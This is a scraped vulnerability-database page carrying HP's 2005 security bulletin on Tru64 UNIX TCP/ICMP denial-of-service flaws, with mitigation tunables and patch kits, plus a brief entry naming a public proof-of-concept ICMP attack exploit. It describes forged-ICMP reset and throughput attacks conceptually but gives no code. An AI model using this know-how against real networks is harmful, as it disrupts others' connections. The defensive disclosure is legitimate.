    MP = HP MPE/iX,
    NS = HP NonStop Servers,
    OV = HP OpenVMS,
    PI = HP Printing & Imaging,
    ST = HP Storage SW,
    TL = HP Trusted Linux,
    TU = HP Tru64 UNIX,
    UX = HP-UX,
    VV = HP Virtual Vault

System management and security procedures must be reviewed
frequently to maintain system integrity. HP is continually
reviewing and enhancing the security features of software products
to provide customers with current secure solutions.

"HP is broadly distributing this Security Bulletin in order to
bring to the attention of users of the affected HP products the
important security information contained in this Bulletin. HP
recommends that all users determine the applicability of this
information to their individual situations and take appropriate
action. HP does not warrant that this information is necessarily
accurate or complete for all user situations and, consequently, HP
will not be responsible for any damages resulting from user's use
or disregard of the information provided in this Bulletin. To the
extent permitted by law, HP disclaims all warranties, either
express or implied, including the warranties of merchantability
and fitness for a particular purpose, title and non-infringement."


(c)Copyright 2005 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or
editorial errors or omissions contained herein. The information
provided is provided "as is" without warranty of any kind. To the
extent permitted by law, neither HP nor its affiliates,
subcontractors or suppliers will be liable for incidental, special
or consequential damages including downtime cost; lost profits;
damages relating to the procurement of substitute products or
services; or damages for loss of data, or software restoration.
The information in this document is subject to change without
notice. Hewlett-Packard Company and the names of Hewlett-Packard
products referenced herein are trademarks of Hewlett-Packard
Company in the United States and other countries. Other product
and company names mentioned herein may be trademarks of their
respective owners.

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Version: PGP 8.1

iQA/AwUBQtJVE+AfOvwtKn1ZEQKwPwCeLKNxE1048xGZniru4epJ6YAqYIcAn2+Y
fjKXZ3hbnTeQeIn9Kk9ePC1d
=cFE+
-----END PGP SIGNATURE-----

    

- 漏洞信息 (F38762)

SSRT4743-SSRT4884.txt (PacketStormID:F38762)
2005-07-19 00:00:00
 
advisory,remote,denial of service,spoof,tcp,vulnerability
unix
CVE-2004-0790,CVE-2004-0791,CVE-2004-1060,CVE-2001-0328
[点击下载]

HP Security Bulletin - Several potential security vulnerabilities have been identified in the HP Tru64 UNIX TCP/IP including ICMP, and Initial Sequence Number generation (ISNs). These exploits could result in a remote Denial of Service (DoS) from network throughput reduction for TCP connections, the reset of TCP connections, or TCP spoofing.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

HP SECURITY BULLETIN

HPSBTU01210     REVISION: 0

SSRT4743, SSRT4884 rev.0 - HP Tru64 UNIX TCP/IP remote Denial of
                           Service (DoS)

NOTICE:
There are no restrictions for distribution of this Security
Bulletin provided that it remains complete and intact.

The information in this Security Bulletin should be acted upon
as soon as possible.

INITIAL RELEASE:
15 July 2005

POTENTIAL SECURITY IMPACT:
Remote Denial of Service (DoS)

SOURCE:
Hewlett-Packard Company
HP Software Security Response Team

VULNERABILITY SUMMARY:
Several potential security vulnerabilities have been identified
in the HP Tru64 UNIX TCP/IP including ICMP, and Initial Sequence
Number generation (ISNs). These exploits could result in a remote
Denial of Service (DoS) from network throughput reduction for
TCP connections, the reset of TCP connections, or TCP spoofing.

REFERENCES:
CERT CA-2001-09, NISCC Vulnerability Advisory VU#498440 VU#532967,
CAN-2004-0790 CAN-2004-0791 CAN-2004-1060 CAN-2001-0328

SUPPORTED SOFTWARE VERSIONS*:  ONLY impacted versions are listed.
HP Tru64 UNIX 5.1B-3
HP Tru64 UNIX 5.1B-2/PK4
HP Tru64 UNIX 5.1A PK
HP Tru64 UNIX 4.0G PK4
HP Tru64 UNIX 4.0F PK8

BACKGROUND:

Special Instructions for the Customer

The Internet Control Message Protocol (ICMP) (RFC 792) is used in
the Internet Architecture to perform fault-isolation and recovery
(RFC816), which is the group of actions that hosts and routers
take to determine if a network failure has occurred.

The industry standard TCP specification (RFC 793) has a
vulnerability whereby ICMP packets can be used to perform a
variety of attacks such as blind connection reset attacks and
blind throughput-reduction attacks. Blind connection reset
attacks can be triggered by an attacker sending forged ICMP
"Destination Unreachable, host unreachable" packets or ICMP
"Destination Unreachable, port unreachable" packets.  Blind
throughput-reduction attacks can be caused by an attacker sending
a forged ICMP type 4 (Source Quench) packet.

Path MTU Discovery (RFC 1191) describes a technique for
dynamically discovering the MTU (maximum transmission unit) of an
arbitrary internet path.  This protocol uses ICMP packets from
the router to discover the MTU for a TCP connection path.  An
attacker can reduce the throughput of a TCP connection by sending
forged ICMP packets (or their IPv6 counterpart) to the
discovering host, causing an incorrect Path MTU setting.

HP has addressed these potential vulnerabilities by providing a
new kernel tunable in Tru64 UNIX V5.1B and 5.1A,
icmp_tcpseqcheck. In Tru64 4.0F and 4.0G, HP has introduced two
new kernel tunables, icmp_tcpseqcheck and icmp_rejectcodemask.
The icmp_rejectcodemask tunable is already available in Tru64
UNIX V5.1B and 5.1A.

icmp_tcpseqcheck

The icmp_tcpseqcheck variable mitigates ICMP attacks against TCP
by checking that the TCP sequence number contained in the payload
of the ICMP error message is within the range of the data already
sent but not yet acknowledged. An ICMP error message that does
not pass this check is discarded. This behavior protects TCP
against spoofed ICMP packets.

Set the tunable as follows:

  icmp_tcpseqcheck=1 (default)

    Provides a level of protection that reduces the possibility
    of considering a spoofed ICMP packet as valid
    to one in two raised to the thirty-second power.

  icmp_tcpseqcheck=0

    Retains existing behavior, i.e., accepts all ICMP packets

icmp_rejectcodemask

In the Requirements for IP Version 4 Routers (RFC 1812), research
suggests that the use of ICMP Source Quench packets is an
ineffective (and unfair) antidote for congestion. Thus, HP
recommends completely ignoring ICMP Source Quench packets using
the icmp_rejectcodemask tunable. The icmp_rejectcodemask is a
bitmask that designates the ICMP codes that the system should
reject. For example, to reject ICMP Source Quench packets,
set the mask bit position for the ICMP_SOURCEQUENCH code 4,
which is two to the 4th power = 16 (0x10 hex).
The icmp_rejectcodemask tunable can be used to reject any
ICMP packet type, or multiple masks can be combined to reject
more than one type.

Note: the ICMP type codes are defined in
      "/usr/include/netinet/ip_icmp.h".

  Set the tunable as follows:

    icmp_rejectcodemask = 0x10

      Rejects ICMP Source Quench packets

    icmp_rejectcodemask = 0 (default)

      Retains existing behavior, i.e., accepts all ICMP packets

Adjusting the variables

The ICMP sequence check variable (icmp_tcpseqcheck) can be
adjusted using the sysconfig and sysconfigdb commands:

# sysconfig -q inet icmp_tcpseqcheck
inet:
icmp_tcpseqcheck = 1
# sysconfig -r inet icmp_tcpseqcheck=0
icmp_tcpseqcheck: reconfigured
# sysconfig -q inet icmp_tcpseqcheck
inet:
icmp_tcpseqcheck = 0
# sysconfig -q inet icmp_tcpseqcheck > /tmp/icmp_tcpseqcheck_merge
# sysconfigdb -m -f /tmp/icmp_tcpseqcheck_merge inet
# sysconfigdb -l inet

inet:
      icmp_tcpseqcheck = 1

Similarly, the icmp_rejectcodemask variable can be adjusted using
the sysconfig and sysconfigdb commands:

# sysconfig -q inet icmp_rejectcodemask
inet:
icmp_rejectcodemask = 0
# sysconfig -r inet icmp_rejectcodemask=0x10
icmp_rejectcodemask: reconfigured
# sysconfig -q inet icmp_rejectcodemask
inet:
icmp_rejectcodemask = 16
# sysconfig -q inet icmp_rejectcodemask
   > /tmp/icmp_rejectcodemask_merge
# sysconfigdb -m -f /tmp/icmp_rejectcodemask_merge inet
# sysconfigdb -l inet

inet:
        icmp_rejectcodemask = 16

RESOLUTION:

Until the corrections are available in a mainstream
release patch kit, HP is releasing the following Early Release
Patch (ERP) kits publicly for use by any customer.

The ERP kits use dupatch to install and will not install over
any installed Customer Specific Patches (CSPs) that have file
intersections with the ERPs. Contact your service provider for
assistance if the ERP installation is blocked by any of your
installed CSPs.

The fixes contained in the ERP kits are scheduled to be
available in the following mainstream patch kits:

    HP Tru64 Unix 5.1B-4

Early Release Patches

The ERPs deliver the following file:

/sys/BINARY/inet.mod

HP Tru64 UNIX 5.1B-3 ERP Kit Name:
   T64KIT0025925-V51BB26-ES-20050628
Kit Location:
  http://www.itrc.hp.com/service/patch/patchDetail.do?
  patchid=T64KIT0025925-V51BB26-ES-20050628
MD5 checksum: 129251787a426320af16cd584b982027

HP Tru64 UNIX 5.1B-2/PK4 ERP Kit Name:
  T64KIT0025924-V51BB25-ES-20050628
Kit Location:
  http://www.itrc.hp.com/service/patch/patchDetail.do?
  patchid=T64KIT0025924-V51BB25-ES-20050628
MD5 checksum: 5fcc77a6876db6d10ef07ac96e11b3af

HP Tru64 UNIX 5.1A PK6 ERP Kit Name:
  T64KIT0025922-V51AB24-ES-20050628
Kit Location:
  http://www.itrc.hp.com/service/patch/patchDetail.do?
  patchid=T64KIT0025922-V51AB24-ES-20050628
MD5 checksum: 7c373b35c95945651a1cfda96bf71421

HP Tru64 UNIX 4.0G PK4 ERP Kit Name:
  T64KIT0025920-V40GB22-ES-20050628
Kit Location:
  http://www.itrc.hp.com/service/patch/patchDetail.do?
  patchid=T64KIT0025920-V40GB22-ES-20050628
MD5 checksum: 13849fd555239d75d300d1cb46dc995f

HP Tru64 UNIX 4.0F PK8 ERP Kit Name:
  DUXKIT0025921-V40FB22-ES-20050628
Kit Location:
  http://www.itrc.hp.com/service/patch/patchDetail.do?
  patchid=T64KIT0025920-V40GB22-ES-20050628
MD5 checksum: 743b614d39f185802701b7f2dd14ffa5

MD5 checksums are available from the ITRC patch database main
page:
   http://www.itrc.hp.com/service/patch/mainPage.do
- From the patch database main page, click Tru64 UNIX,
then click verifying MD5 checksums under useful links.

General ITRC Patch Page:
http://www.itrc.hp.com/service/patch/mainPage



SUPPORT: For further information, contact normal HP Services
support channel.

REPORT: To report a potential security vulnerability with any HP
supported product, send Email to: security-alert@hp.com. It is
strongly recommended that security related information being
communicated to HP be encrypted using PGP, especially exploit
information. To obtain the security-alert PGP key please send an
e-mail message to security-alert@hp.com with the Subject of
'get key' (no quotes).

SUBSCRIBE: To initiate a subscription to receive future HP
Security Bulletins via Email:

http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&
langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC

On the web page: ITRC security bulletins and patch sign-up
Under Step1: your IRTC security bulletins and patches
     - check ALL categories for which alerts are required and
       continue.
Under Step2: your IRTC operating systems
     - verify your operating system selections are checked and
       save.

To update an existing subscription:
http://h30046.www3.hp.com/subSignIn.php

Log in on the web page
  Subscriber's choice for Business: sign-in.
On the Web page:
 Subscriber's Choice: your profile summary
   - use Edit Profile to update appropriate sections.

To review previously published Security Bulletins visit:
http://itrc.hp.com/service/cki/secBullArchive.do

* The Software Product Category that this Security Bulletin
  relates to is represented by the 5th and 6th characters of the
  Bulletin number:
    GN = HP General SW,
    MA = HP Management Agents,
    MI = Misc. 3rd party SW,
    MP = HP MPE/iX,
    NS = HP NonStop Servers,
    OV = HP OpenVMS,
    PI = HP Printing & Imaging,
    ST = HP Storage SW,
    TL = HP Trusted Linux,
    TU = HP Tru64 UNIX,
    UX = HP-UX,
    VV = HP Virtual Vault

System management and security procedures must be reviewed
frequently to maintain system integrity. HP is continually
reviewing and enhancing the security features of software products
to provide customers with current secure solutions.

"HP is broadly distributing this Security Bulletin in order to
bring to the attention of users of the affected HP products the
important security information contained in this Bulletin. HP
recommends that all users determine the applicability of this
information to their individual situations and take appropriate
action. HP does not warrant that this information is necessarily
accurate or complete for all user situations and, consequently, HP
will not be responsible for any damages resulting from user's use
or disregard of the information provided in this Bulletin. To the
extent permitted by law, HP disclaims all warranties, either
express or implied, including the warranties of merchantability
and fitness for a particular purpose, title and non-infringement."


(c)Copyright 2005 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or
editorial errors or omissions contained herein. The information
provided is provided "as is" without warranty of any kind. To the
extent permitted by law, neither HP nor its affiliates,
subcontractors or suppliers will be liable for incidental, special
or consequential damages including downtime cost; lost profits;
damages relating to the procurement of substitute products or
services; or damages for loss of data, or software restoration.
The information in this document is subject to change without
notice. Hewlett-Packard Company and the names of Hewlett-Packard
products referenced herein are trademarks of Hewlett-Packard
Company in the United States and other countries. Other product
and company names mentioned herein may be trademarks of their
respective owners.

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iQA/AwUBQtuSLuAfOvwtKn1ZEQJXrwCgpDVfLyXvXZd3sF6bswgQ3DLz5jcAoNt2
As7Gf9BY697IdlYjIlmrirG1
=143G
-----END PGP SIGNATURE-----

    

- 漏洞信息 (F37801)

HOD-icmp-attacks-poc.c (PacketStormID:F37801)
2005-06-01 00:00:00
houseofdabus  
exploit,denial of service,tcp,protocol
cisco,windows,aix
CVE-2004-0790,CVE-2004-0791,CVE-2004-1060
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A denial of service vulnerability exists that could allow an attacker to send a specially crafted Internet Control Message Protocol (ICMP) message to an affected system. An attacker who successfully exploited this vulnerability could cause the affected system to reset existing TCP connections, reduce the throughput in existing TCP connections, or consume large amounts of CPU and memory resources. This exploit affects various Cisco, AIX, and Windows versions.

- 漏洞信息

15457
Multiple Vendor ICMP Message Handling DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Multiple ICMP implementations contains a flaw that may allow a remote denial of service. The issue is triggered due to the handling of ICMP error messages. By sending a specially crafted ICMP error message, a remote attacker could reset TCP connections resulting in a loss of availability.

- 时间线

2005-04-13 Unknow
2005-04-20 Unknow

- 解决方案

Contact your vendor for an appropriate upgrade. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

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